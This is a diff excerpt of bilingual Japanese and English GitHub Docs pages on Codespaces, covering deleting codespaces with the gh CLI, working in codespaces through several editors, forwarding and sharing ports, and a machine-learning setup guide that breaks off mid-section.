You can use {% data variables.product.prodname_cli %} to delete several or all of your codespaces with a single command. For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
{% endvscode %}
{% cli %}
`gh codespace delete` の後に次のフラグのいずれかを使用すると、1 つのコマンドを使用して、複数またはすべての codespace を削除できます。
You can delete several or all of your codespaces with a single command, using `gh codespace delete` followed by one of these flags:
`--all` - すべての codespace を削除します。
`--all` - Delete all of your codespaces.
`--repo REPOSITORY` - このリポジトリのすべての codespace を削除します。 または、`--days` フラグと共に使用して、codespace の経過時間でフィルターします。
`--repo REPOSITORY` - Delete all of your codespaces for this repository. Or use together with the `--days` flag to filter by age of the codespace.
`--days NUMBER` - 指定した日数より古い codespace をすべて削除します。 `--repo` フラグと共に使用できます。
`--days NUMBER` - Delete all of your codespaces that are older than the specified number of days. Can be used together with the `--repo` flag.
既定では、保存されていない変更を含む codespace の削除を確認するメッセージが表示されます。 `--force` フラグを使用して、この確認をスキップできます。
By default you are prompted to confirm deletion of any codespaces that contain unsaved changes. You can use the `--force` flag to skip this confirmation.
###
### Example
7 日以上前に作成した `octo-org/octo-repo` リポジトリのすべての codespace を削除します。
Delete all of the codespaces for the `octo-org/octo-repo` repository that you created more than 7 days ago.
```
gh cs delete --repo octo-org/octo-repo --days 7
gh codespace delete --repo octo-org/octo-repo --days 7
```
{% endcli %}
## 組織内の codespace を削除する
## Deleting codespaces in your organization
組織の所有者は、{% data variables.product.prodname_cli %} を使用して、組織内の任意の codespace を削除できます。
As an organization owner, you can use {% data variables.product.prodname_cli %} to delete any codespace in your organization.
{% webui %}
詳細については、このページの上部にある [{% data variables.product.prodname_cli %}] タブをクリックしてください。
For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
{% endwebui %}
{% vscode %}
詳細については、このページの上部にある [{% data variables.product.prodname_cli %}] タブをクリックしてください。
For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
{% endvscode %}
{% cli %}
1. 次のいずれかのコマンドを入力して、codespace の一覧を表示します。
* `gh codespace delete --org ORGANIZATION` - 指定した組織内の現在の codespace を一覧表示します。
* `gh codespace delete --org ORGANIZATION --user USER` - 指定したユーザーが作成した codespace のみを一覧表示します。
自分が指定した組織の所有者である必要があります。
1. codespace の一覧で、削除したい codespace に移動します。
1. 選択した codespace を削除するには、<kbd>Enter</kbd> キーを押します。
1. Enter one of these commands to display a list of codespaces.
* `gh codespace delete --org ORGANIZATION` - Lists the current codespaces in the specified organization.
* `gh codespace delete --org ORGANIZATION --user USER` - Lists only those codespaces created by the specified user.
You must be an owner of the specified organization.
1. In the list of codespaces, navigate to the codespace you want to delete.
1. To delete the selected codespace press <kbd>Enter</kbd>.
codespace に未保存の変更が含まれている場合は、削除の確認を求めるメッセージが表示されます。
If the codespace contains unsaved changes you will be prompted to confirm deletion.
{% endcli %}
REST API を使用して組織の codespace を削除することもできます。 詳細については、[codespace 組織](/rest/codespaces/organizations#delete-a-codespace-from-the-organization)に関する記事を参照してください。
You can also use the REST API to delete codespaces for your organization. For more information, see "[Codespaces organizations](/rest/codespaces/organizations#delete-a-codespace-from-the-organization)."
## 参考資料
- [Codespaces のライフサイクル](/codespaces/developing-in-codespaces/codespaces-lifecycle)
- [codespace の自動削除の構成](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)
## Further reading
- "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)"
- "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)"

View File

@@ -1,7 +1,6 @@
---
title: codespace で開発する
intro: '{% data variables.product.product_name %} で codespace を開き、{% data variables.product.prodname_vscode %} の機能を使用して開発できます。'
product: '{% data reusables.gated-features.codespaces %}'
title: Developing in a codespace
intro: 'You can work in a codespace using your browser, {% data variables.product.prodname_vscode %}, a JetBrains IDE, or in a command shell.'
redirect_from:
- /github/developing-online-with-github-codespaces/developing-in-a-codespace
- /github/developing-online-with-codespaces/developing-in-a-codespace
@@ -14,46 +13,127 @@ topics:
- Fundamentals
- Developer
shortTitle: Develop in a codespace
ms.openlocfilehash: 459e98978fdc062d96372c26c56a0f042878d40d
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148108988'
---
## {% data variables.product.prodname_github_codespaces %} での開発について
{% data variables.product.prodname_github_codespaces %} は、{% data variables.product.prodname_vscode %} の完全な開発体験を提供します。 {% data reusables.codespaces.use-visual-studio-features %}
{% jetbrains %}
{% data reusables.codespaces.links-to-get-started %}
{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
![codespace の概要(注釈付き)](/assets/images/help/codespaces/codespace-overview-annotated.png)
{% endjetbrains %}
1. サイドバー: デフォルト設定では、このエリアには Explorer でプロジェクトファイルが表示されます。
2. アクティビティバー: ビューが表示され、それらを切り替える方法が提供されます。 ビューはドラッグアンドドロップで並べ替えることができます。
3. エディタ: ファイルを編集できます。 各エディタのタブを使用して、必要な場所に正確に配置できます。
4. パネル: 出力とデバッグ情報、および統合ターミナルのデフォルトの場所を確認できます。
5. ステータスバー: このエリアには、codespace とプロジェクトに関する有用な情報が表示されます。 たとえば、ブランチ名、設定されたポートなどです。
## About development with {% data variables.product.prodname_github_codespaces %}
{% data variables.product.prodname_vscode_shortname %} の使用方法の詳しい情報については、{% data variables.product.prodname_vscode_shortname %} ドキュメントで[ユーザー インターフェイス ガイド](https://code.visualstudio.com/docs/getstarted/userinterface)を参照してください。
You can develop code in a codespace using your choice of tool:
{% data reusables.codespaces.connect-to-codespace-from-vscode %}
* A command shell, via an SSH connection initiated using {% data variables.product.prodname_cli %}.
* One of the JetBrains IDEs, via the JetBrains Gateway.
* The {% data variables.product.prodname_vscode %} desktop application.
* A browser-based version of {% data variables.product.prodname_vscode %}.
{% data reusables.codespaces.use-chrome %}詳しくは、「[{% data variables.product.prodname_github_codespaces %} クライアントのトラブルシューティング](/codespaces/troubleshooting/troubleshooting-codespaces-clients)」を参照してください。
{% webui %}
### Codespace をパーソナライズする
The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for the web browser version of {% data variables.product.prodname_vscode %}.
{% data reusables.codespaces.about-personalization %} 詳しくは、「[アカウントの {% data variables.product.prodname_github_codespaces %} をパーソナライズする](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account)」をご覧ください。
## Working in a codespace in the browser
{% data reusables.codespaces.apply-devcontainer-changes %}詳しくは、「[開発コンテナーの概要](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)」を参照してください。
Using {% data variables.product.prodname_codespaces %} in the browser provides you with a fully featured development experience. You can edit code, debug, use Git commands, and run your application.
### Codespace からアプリケーションを実行する
{% data reusables.codespaces.about-port-forwarding %} 詳しい情報については、「[Codespace でポートを転送する](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace)」を参照してください。
![Annotated screenshot of a codespace in the browser](/assets/images/help/codespaces/codespace-overview-annotated.png)
### 変更をコミットする
{% data reusables.codespaces.vscode-interface-annotation %}
{% data reusables.codespaces.use-chrome %} For more information, see "[Troubleshooting {% data variables.product.prodname_github_codespaces %} clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)."
{% data reusables.codespaces.developing-in-vscode %}
{% data reusables.codespaces.navigating-to-a-codespace %}
{% data reusables.codespaces.committing-link-to-procedure %}
{% endwebui %}
### {% data variables.product.prodname_vscode_command_palette %} を使用する
{% vscode %}
{% data variables.product.prodname_vscode_command_palette %} を使用すると、{% data variables.product.prodname_github_codespaces %} と {% data variables.product.prodname_vscode_shortname %} で多くの機能を利用したり、管理したりすることができます。 詳しくは、「[{% data variables.product.prodname_vscode_command_palette_shortname %} in {% data variables.product.prodname_github_codespaces %} の使用](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)」を参照してください。
The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for {% data variables.product.prodname_vscode %}.
## Working in a codespace in {% data variables.product.prodname_vscode_shortname %}
{% data variables.product.prodname_github_codespaces %} provides you with the full development experience of {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %}
![Annotated screenshot of a codespace in VS Code](/assets/images/help/codespaces/codespace-annotated-vscode.png)
{% data reusables.codespaces.vscode-interface-annotation %}
For more information on using {% data variables.product.prodname_vscode_shortname %}, see the [User Interface guide](https://code.visualstudio.com/docs/getstarted/userinterface) in the {% data variables.product.prodname_vscode_shortname %} documentation.
{% data reusables.codespaces.connect-to-codespace-from-vscode %}
For troubleshooting information, see "[Troubleshooting Codespaces clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)."
{% data reusables.codespaces.developing-in-vscode %}
{% data reusables.codespaces.navigating-to-a-codespace %}
{% endvscode %}
{% jetbrains %}
The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for JetBrains IDEs.
## Working in a codespace in a JetBrains IDE
To use {% data variables.product.prodname_github_codespaces %} with a JetBrains IDE you must have already installed JetBrains Gateway. For information about installing JetBrains Gateway, see [the JetBrains website](https://www.jetbrains.com/remote-development/gateway/).
You can work in a codespace using your choice of JetBrains IDE. After creating a codespace, you can use the JetBrains Gateway application to open the codespace in your preferred IDE.
You can edit code, debug, and use Git commands while developing in a codespace with your JetBrains IDE. For more information about the various JetBrains IDEs, see the [JetBrains documentation](https://www.jetbrains.com/help/).
### IntelliJ IDEA user interface
Within the {% data variables.product.prodname_github_codespaces %} documentation we use IntelliJ IDEA as a representative JetBrains IDE. Different JetBrains IDEs may have different layouts.
![Annotated screenshot of a codespace in JetBrains IntelliJ IDEA](/assets/images/help/codespaces/jetbrains-gui-with-callouts.png)
1. **Navigation bar** - This displays the path to the currently selected file or directory. Use the buttons to the right of the navigation bar to perform various actions, including building, running, or debugging the project, or running Git commands to commit and push your changes.
2. **Project tool window** - This shows you the structure of your project and allows you to open files in the editor.
3. **{% data variables.product.prodname_github_codespaces %} tool window** - This is displayed by clicking the {% data variables.product.prodname_github_codespaces %} plugin in the bar to the left of the tool window. It displays information about your codespace, including its display name and machine type. The buttons at the top of this tool window allow you to:
* Stop the codespace and disconnect
* Display the "Your codespaces" web page
* View the codespace creation logs
* Rebuild the dev container
4. **Editor** - This is where you edit your files. You can right-click the tab for a file to access options such as moving the tab to a new window.
5. **Terminal** - This is displayed by clicking **Terminal** in the tool window bar at the bottom of the main window (just above the status bar). The integrated terminal allows you to perform command-line tasks without having to switch to a dedicated terminal application.
6. **Status bar** - Hover over the icon at the left of the status bar to see a list of tools. Click the icon to hide or show the tool window bars. The right side of the status bar shows information about the project, including the current Git branch.
For more information about the IntelliJ IDEA user interface, see the [JetBrains documentation for IntelliJ IDEA](https://www.jetbrains.com/help/idea/guided-tour-around-the-user-interface.html).
### Customizing the codespaces for a repository
You can customize the codespaces that are created for a repository by creating or updating the dev container configuration for the repository. You can do this from within a codespace. After you change a dev container configuration, you can apply the changes to the current codespace by rebuilding the Docker container for the codespace. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)."
### Personalizing your codespace
You can use a [dotfiles](https://dotfiles.github.io/tutorials/) repository to personalize aspects of the codespace environment for any codespace that you create. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#dotfiles)."
### Committing your changes
Once you've made changes to your codespace, either new code or configuration changes, you'll want to commit and push your changes. Pushing changes to a repository ensures that anyone else who creates a codespace from this repository has the same configuration. This also means that any customization you do, to modify the configuration of codespaces created for a repository, will be available to everybody who uses the repository.
For more information, see "[Using source control in your codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#committing-your-changes)."
## Further reading
* "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)"
* "[Using the {% data variables.product.prodname_github_codespaces %} plugin for JetBrains](/codespaces/codespaces-reference/using-the-github-codespaces-plugin-for-jetbrains)"
* "[Troubleshooting {% data variables.product.prodname_github_codespaces %} clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)"
{% endjetbrains %}
{% cli %}
The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for {% data variables.product.prodname_cli %}.
## Working in a codespace in a command shell
{% data reusables.cli.cli-learn-more %}
You can use {% data variables.product.prodname_cli %} to create a new codespace, or start an existing codespace, and then SSH to it. Once connected, you can work on the command line using your preferred command-line tools.
After installing {% data variables.product.prodname_cli %} and authenticating with your {% data variables.product.prodname_dotcom %} account you can use the command `gh codespace [<SUBCOMMAND>...] --help` to browse the help information. Alternatively, you can view the same reference information at [https://cli.github.com/manual/gh_codespace](https://cli.github.com/manual/gh_codespace).
For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with GitHub CLI](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli)."
{% endcli %}

View File

@@ -1,7 +1,6 @@
---
title: codespace でのポートの転送
title: Forwarding ports in your codespace
intro: '{% data reusables.codespaces.about-port-forwarding %}'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -13,67 +12,76 @@ topics:
- Fundamentals
- Developer
shortTitle: Forward ports
ms.openlocfilehash: 6e178c02b1170a60235a1ecf931001a7db58a187
ms.sourcegitcommit: 43a959b8faf78d9c5b3deadffa079d24cd11650b
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 11/04/2022
ms.locfileid: '148134744'
---
## 転送されるポートについて
ポート転送を使用すると、Codespaces 内で実行されている TCP ポートにアクセスできます。 たとえば、codespace の特定のポートで Web アプリケーションを実行している場合は、そのポートを転送できます。 これにより、テストやデバッグのために、ローカル コンピューター上のブラウザーからアプリケーションにアクセスできます。
{% jetbrains %}
codespace 内で実行されているアプリケーションが、localhost URL (`http://localhost:PORT``http://127.0.0.1:PORT` など) を含むターミナルに出力すると、ポートが自動的に転送されます。 ブラウザーまたは {% data variables.product.prodname_vscode %} で {% data variables.product.prodname_github_codespaces %} を使用している場合、ターミナルの URL 文字列はリンクに変換され、それをクリックするとローカル コンピューターで Web ページを表示できます。 既定では、{% data variables.product.prodname_github_codespaces %} は HTTP を使ってポートを転送します。
{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
![自動ポート転送](/assets/images/help/codespaces/automatic-port-forwarding.png)
{% endjetbrains %}
{% data reusables.codespaces.forwarded-ports-environment-variable %}
## About forwarded ports
また、ポートの手動転送、転送されるポートへのラベル付け、Organization のメンバーとの転送されるポートの共有、転送されるポートのパブリックな共有、codespace の構成への転送されるポートの追加などを行うこともできます。
{% note %}
**注**: {% data reusables.codespaces.restrict-port-visibility %}
{% endnote %}
## ポートの転送
自動的に転送されなかったポートを手動で転送できます。
Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on a particular port in your codespace, you can forward that port. This allows you to access the application from the browser on your local machine for testing and debugging.
{% webui %}
{% data reusables.codespaces.port-forwarding-intro-non-jetbrains %}
{% data reusables.codespaces.navigate-to-ports-tab %}
1. ポートの一覧で、 **[ポートの追加]** をクリックします。
1. Under the list of ports, click **Add port**.
![[ポートの追加] ボタン](/assets/images/help/codespaces/add-port-button.png)
![Add port button](/assets/images/help/codespaces/add-port-button.png)
1. ポート番号またはアドレスを入力し、Enter キーを押します。
1. Type the port number or address, then press enter.
![ポート番号を入力するテキスト ボックス](/assets/images/help/codespaces/port-number-text-box.png)
![Text box to type port button](/assets/images/help/codespaces/port-number-text-box.png)
## HTTPS 転送の使用
## Using HTTPS forwarding
既定では、{% data variables.product.prodname_github_codespaces %} は HTTP を使ってポートを転送しますが、必要に応じて、HTTPS を使うように任意のポートを更新できます。 パブリック表示を使ってポートを HTTPS を使えるように更新すると、ポートの表示は自動的にプライベートに変更されます。
By default, {% data variables.product.prodname_github_codespaces %} forwards ports using HTTP but you can update any port to use HTTPS, as needed. If you update a port with public visibility to use HTTPS, the port's visibility will automatically change to private.
{% data reusables.codespaces.navigate-to-ports-tab %}
1. 更新するポートを右クリックし、 **[ポートのプロトコルの変更]** をポイントします。
![ポートのプロトコルを変更するオプション](/assets/images/help/codespaces/update-port-protocol.png)
1. このポートに必要なプロトコルを選択します。 選択したプロトコルは、codespace の有効期間中、このポートに対して記憶されます。
1. Right click the port you want to update, then hover over **Change Port Protocol**.
![Option to change port protocol](/assets/images/help/codespaces/update-port-protocol.png)
1. Select the protocol needed for this port. The protocol that you select will be remembered for this port for the lifetime of the codespace.
{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %}
{% data reusables.codespaces.navigate-to-ports-tab %}
1. Right click the port that you want to share, select the "Port Visibility" menu, then click **Private to Organization** or **Public**.
![Option to select port visibility in right-click menu](/assets/images/help/codespaces/make-public-option.png)
1. To the right of the local address for the port, click the copy icon.
![Copy icon for port URL](/assets/images/help/codespaces/copy-icon-port-url.png)
1. Send the copied URL to the person you want to share the port with.
{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %}
{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %}
{% endwebui %}
{% vscode %}
{% data reusables.codespaces.port-forwarding-intro-non-jetbrains %}
{% data reusables.codespaces.navigate-to-ports-tab %}
1. ポートの一覧で、 **[ポートの追加]** をクリックします。
1. Under the list of ports, click **Add port**.
![[ポートの追加] ボタン](/assets/images/help/codespaces/add-port-button.png)
![Add port button](/assets/images/help/codespaces/add-port-button.png)
1. ポート番号またはアドレスを入力し、Enter キーを押します。
1. Type the port number or address, then press enter.
![ポート番号を入力するテキスト ボックス](/assets/images/help/codespaces/port-number-text-box.png)
![Text box to type port button](/assets/images/help/codespaces/port-number-text-box.png)
{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %}
{% data reusables.codespaces.navigate-to-ports-tab %}
1. Right click the port that you want to share, select the "Port Visibility" menu, then click **Private to Organization** or **Public**.
![Option to make port public in right-click menu](/assets/images/help/codespaces/make-public-option.png)
1. To the right of the local address for the port, click the copy icon.
![Copy icon for port URL](/assets/images/help/codespaces/copy-icon-port-url.png)
1. Send the copied URL to the person you want to share the port with.
{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %}
{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %}
{% endvscode %}
@@ -82,90 +90,48 @@ codespace 内で実行されているアプリケーションが、localhost URL
{% data reusables.cli.cli-learn-more %}
ポートを転送するには、`gh codespace ports forward` サブコマンドを使用します。 `codespace-port:local-port` を、接続するリモート ポートとローカル ポートに置き換えます。 コマンドを入力した後、表示される codespace の一覧から選択します。
To forward a port use the `gh codespace ports forward` subcommand. Replace `codespace-port:local-port` with the remote and local ports that you want to connect. After entering the command choose from the list of codespaces that's displayed.
```shell
gh codespace ports forward CODESPACE-PORT:LOCAL-PORT
```
このコマンドの詳細については、[{% data variables.product.prodname_cli %} に関するマニュアル](https://cli.github.com/manual/gh_codespace_ports_forward)を参照してください。
For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_forward).
転送されるポートの詳細を表示するには、`gh codespace ports` を入力して codespace を選択します。
To see details of forwarded ports enter `gh codespace ports` and then choose a codespace.
{% endcli %}
{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %}
## ポートの共有
To change the visibility of a forwarded port, use the `gh codespace ports visibility` subcommand. {% data reusables.codespaces.port-visibility-settings %}
{% note %}
**注:** Organization が {% data variables.product.prodname_team %} または {% data variables.product.prodname_ghe_cloud %} を使用している場合にのみ、ポートを Organization に対してプライベートにすることができます。
{% endnote %}
転送されるポートを他のユーザーと共有する場合は、ポートを Organization に対してプライベートにするか、ポートをパブリックにすることができます。 ポートを Organization に対してプライベートにすると、そのポートの URL がわかっている組織内のすべてのユーザーが、実行中のアプリケーションを表示できます。 ポートをパブリックにすると、URL とポート番号を知っているすべてのユーザーが、認証を必要とせずに、実行中のアプリケーションを表示できます。
{% note %}
**注:** ポートの可視性オプションの選択は、Organization 用に構成されたポリシーによって制限される場合があります。 詳細については、「[転送されるポートの可視性の制限](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)」を参照してください。
{% endnote %}
{% webui %}
{% data reusables.codespaces.navigate-to-ports-tab %}
1. 共有するポートを右クリックし、[ポートの可視性] メニューを選択して、 **[Organization にプライベート]** または **[パブリック]** をクリックします。
![右クリック メニューでポートの可視性を選択するオプション](/assets/images/help/codespaces/make-public-option.png)
1. ポートのローカル アドレスの右側にあるコピー アイコンをクリックします。
![ポートの URL のコピー アイコン](/assets/images/help/codespaces/copy-icon-port-url.png)
1. コピーした URL を、ポートを共有するユーザーに送信します。
{% endwebui %}
{% vscode %}
{% data reusables.codespaces.navigate-to-ports-tab %}
1. 共有するポートを右クリックし、[ポートの可視性] メニューを選択して、 **[Organization にプライベート]** または **[パブリック]** をクリックします。
![右クリック メニューでポートをパブリックにするオプション](/assets/images/help/codespaces/make-public-option.png)
1. ポートのローカル アドレスの右側にあるコピー アイコンをクリックします。
![ポートの URL のコピー アイコン](/assets/images/help/codespaces/copy-icon-port-url.png)
1. コピーした URL を、ポートを共有するユーザーに送信します。
{% endvscode %}
{% cli %}
転送されるポートの可視性を変更するには、`gh codespace ports visibility` サブコマンドを使用します。 {% data reusables.codespaces.port-visibility-settings %}
`codespace-port` を、転送されるポート番号に置き換えます。 `setting` を、`private``org`、または `public` に置き換えます。 コマンドを入力した後、表示される codespace の一覧から選択します。
Replace `codespace-port` with the forwarded port number. Replace `setting` with `private`, `org`, or `public`. After entering the command choose from the list of codespaces that's displayed.
```shell
gh codespace ports visibility CODESPACE-PORT:SETTINGS
```
1 つのコマンドを使用して、複数のポートの可視性を設定できます。 次に例を示します。
You can set the visibility for multiple ports with one command. For example:
```shell
gh codespace ports visibility 80:private 3000:public 3306:org
```
このコマンドの詳細については、[{% data variables.product.prodname_cli %} に関するマニュアル](https://cli.github.com/manual/gh_codespace_ports_visibility)を参照してください。
For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_visibility).
{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %}
You can see the port labels when you list the forwarded ports for a codespace. To do this, use the `gh codespace ports` command and then select a codespace.
{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %}
{% endcli %}
## ポートのラベル付け
{% jetbrains %}
ポートにラベルを付けて、一覧でポートをいっそう識別しやすくできます。
## Forwarding a port
{% data reusables.codespaces.navigate-to-ports-tab %}
1. ラベルを付けるポートをポイントして、ラベル アイコンをクリックします。
![ポートのラベル アイコン](/assets/images/help/codespaces/label-icon.png) {% data reusables.codespaces.type-port-label %}
For information on how to forward a port in a codespace to a port on your local machine, see the "Port forwarding" section of the "[Security model](https://www.jetbrains.com/help/idea/security-model.html#port_forwarding)" article in the JetBrains documentation.
## codespace 構成へのポートの追加
Alternatively, you can use {% data variables.product.prodname_cli %} to forward a port. For more information, click the "{% data variables.product.prodname_cli %}" tab at the top of this page.
転送されるポートをリポジトリの {% data variables.product.prodname_github_codespaces %} 構成に追加し、リポジトリから作成されるすべての codespace でポートが自動的に転送されるようにすることができます。 変更を適用するには、構成を更新した後、以前に作成した codespace をリビルドする必要があります。 詳細については、[開発コンテナーの概要](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace)に関するページをご覧ください。
`.devcontainer.json` ファイルで `forwardPorts` プロパティを使用して転送されるポートを手動で構成することも、codespace の [ポート] パネルを使用することもできます。
{% data reusables.codespaces.navigate-to-ports-tab %}
1. codespace の構成に追加するポートを右クリックして、 **[ラベルを設定して devcontainer.json を更新する]** をクリックします。
![右クリック メニューでラベルを設定し devcontainer.json にポートを追加するオプション](/assets/images/help/codespaces/update-devcontainer-to-add-port-option.png) {% data reusables.codespaces.type-port-label %}
{% endjetbrains %}

View File

@@ -1,8 +1,7 @@
---
title: 機械学習のための GitHub Codespaces の概要
title: Getting started with GitHub Codespaces for machine learning
shortTitle: Machine learning
intro: '{% data variables.product.prodname_github_codespaces %} とそのすぐに使えるツールを使用して、機械学習プロジェクトに取り組む方法について学習します。'
product: '{% data reusables.gated-features.codespaces %}'
intro: 'Learn about working on machine learning projects with {% data variables.product.prodname_github_codespaces %} and its out-of-the-box tools.'
versions:
fpt: '*'
ghec: '*'
@@ -10,88 +9,72 @@ type: tutorial
topics:
- Codespaces
- Developer
ms.openlocfilehash: 07aa272377cf82d6bd660819d96aa348b2fb2a64
ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/09/2022
ms.locfileid: '147764004'
---
## はじめに
このガイドでは、{% data variables.product.prodname_github_codespaces %} を使用した機械学習について説明します。 単純な画像分類器を構築し、{% data variables.product.prodname_github_codespaces %} にプレインストールされているツールの一部について学習し、NVIDIA CUDA の開発環境を構成し、{% data variables.product.prodname_cli %} を使用して JupyterLab で codespace を開きます。
## Introduction
## 前提条件
This guide introduces you to machine learning with {% data variables.product.prodname_github_codespaces %}. Youll build a simple image classifier, learn about some of the tools that come preinstalled in {% data variables.product.prodname_github_codespaces %}, configure your development environment for NVIDIA CUDA, and open your codespace in JupyterLab.
{% data variables.product.prodname_github_codespaces %} にアクセスできる。 詳細については、「[codespace を作成する](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-github-codespaces)」を参照してください。
## Building a simple image classifier
## 単純な画像分類器を構築する
We'll use a Jupyter notebook to build a simple image classifier.
Jupyter Notebook を使用して、単純な画像分類器を構築します。
Jupyter notebooks are sets of cells that you can execute one after another. The notebook we'll use includes a number of cells that build an image classifier using [PyTorch](https://pytorch.org/). Each cell is a different phase of that process: download a dataset, set up a neural network, train a model, and then test that model.
Jupyter Notebook は、順次実行できるセルのセットです。 使用するノートブックには、[PyTorch](https://pytorch.org/) を使って画像分類器を構築する多数のセルが含まれています。 各セルは、データセットのダウンロード、ニューラル ネットワークの設定、モデルのトレーニング、そのモデルのテストなど、そのプロセスの異なるフェーズです。
We'll run all of the cells, in sequence, to perform all phases of building the image classifier. When we do this Jupyter saves the output back into the notebook so that you can examine the results.
すべてのセルを順番に実行して、画像分類器を構築するすべてのフェーズを実行します。 この操作を行うと、Jupyter によって出力がノートブックに保存され、結果を確認できるようになります。
### Creating a codespace
### リポジトリと codespace の作成
1. Go to the [github/codespaces-jupyter](https://github.com/github/codespaces-jupyter) template repository.
{% data reusables.codespaces.open-template-in-codespace-step %}
1. [github/codespaces-getting-started-ml](https://github.com/github/codespaces-getting-started-ml) テンプレート リポジトリに移動し、 **[このテンプレートを使用する]** をクリックします。
{% data reusables.codespaces.open-codespace-from-template-repo %}
A codespace for this template will open in a web-based version of {% data variables.product.prodname_vscode %}.
既定では、このリポジトリの codespace は、Web ベース バージョンの {% data variables.product.prodname_vscode %} で開きます。
### Opening the image classifier notebook
### 画像分類器ノートブックを開く
The default container image that's used by {% data variables.product.prodname_github_codespaces %} includes a set of machine learning libraries that are preinstalled in your codespace. For example, Numpy, pandas, SciPy, Matplotlib, seaborn, scikit-learn, Keras, PyTorch, Requests, and Plotly. For more information about the default image, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)" and [the `devcontainers/images` repository](https://github.com/devcontainers/images/tree/main/src/universal).
{% data variables.product.prodname_github_codespaces %} によって使用される既定のコンテナー イメージには、codespace にプレインストールされている一連の機械学習ライブラリが含まれています。 たとえば、Numpy、pandas、SciPy、Matplotlib、seaborn、scikit-learn、TensorFlow、Keras、PyTorch、Requests、Plotly などです。 既定のイメージについては詳しくは、「[開発コンテナーの概要](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)」と[ `devcontainers/images` リポジトリ](https://github.com/devcontainers/images/tree/main/src/codespaces#github-codespaces-default-linux-universal)を参照してください。
1. In the {% data variables.product.prodname_vscode_shortname %} editor, close any "Get Started" tabs that are displayed.
1. Open the `notebooks/image-classifier.ipynb` notebook file.
1. {% data variables.product.prodname_vscode_shortname %} エディターで、表示されている [作業の開始] タブを閉じます。
1. `image-classifier.ipynb` ノートブック ファイルを開きます。
1. エディターの右上にある Python カーネル リンクをクリックします。
### Building the image classifier
![Python カーネル リンクのスクリーンショット](/assets/images/help/codespaces/jupyter-python-kernel-link.png)
1. ドロップダウン メニューで、ディレクトリ `/opt/python/latest/bin/python` 内のカーネルを選びます。
The image classifier notebook contains all the code you need to download a dataset, train a neural network, and evaluate its performance.
![Python カーネル ドロップダウン メニューのスクリーンショット](/assets/images/help/codespaces/jupyter-python-kernel-dropdown.png)
1. Click **Run All** to execute all of the notebooks cells.
### 画像分類器を構築する
![Screenshot of the Run All button](/assets/images/help/codespaces/jupyter-run-all.png)
画像分類器ノートブックには、データセットのダウンロード、ニューラル ネットワークのトレーニング、そのパフォーマンスの評価に必要なすべてのコードが含まれています。
1. Scroll down to view the output of each cell.
1. **[すべて実行]** をクリックして、ノートブックのセルをすべて実行します。
![Screenshot of Step 3 in the editor](/assets/images/help/codespaces/jupyter-notebook-step3.png)
![[すべて実行] ボタンのスクリーンショット。](/assets/images/help/codespaces/jupyter-run-all.png)
## Configuring NVIDIA CUDA for your codespace
1. 下にスクロールして、各セルの出力を表示します。
![エディターの手順 3 のスクリーンショット](/assets/images/help/codespaces/jupyter-notebook-step3.png)
## codespace 用に NVIDIA CUDA を構成する
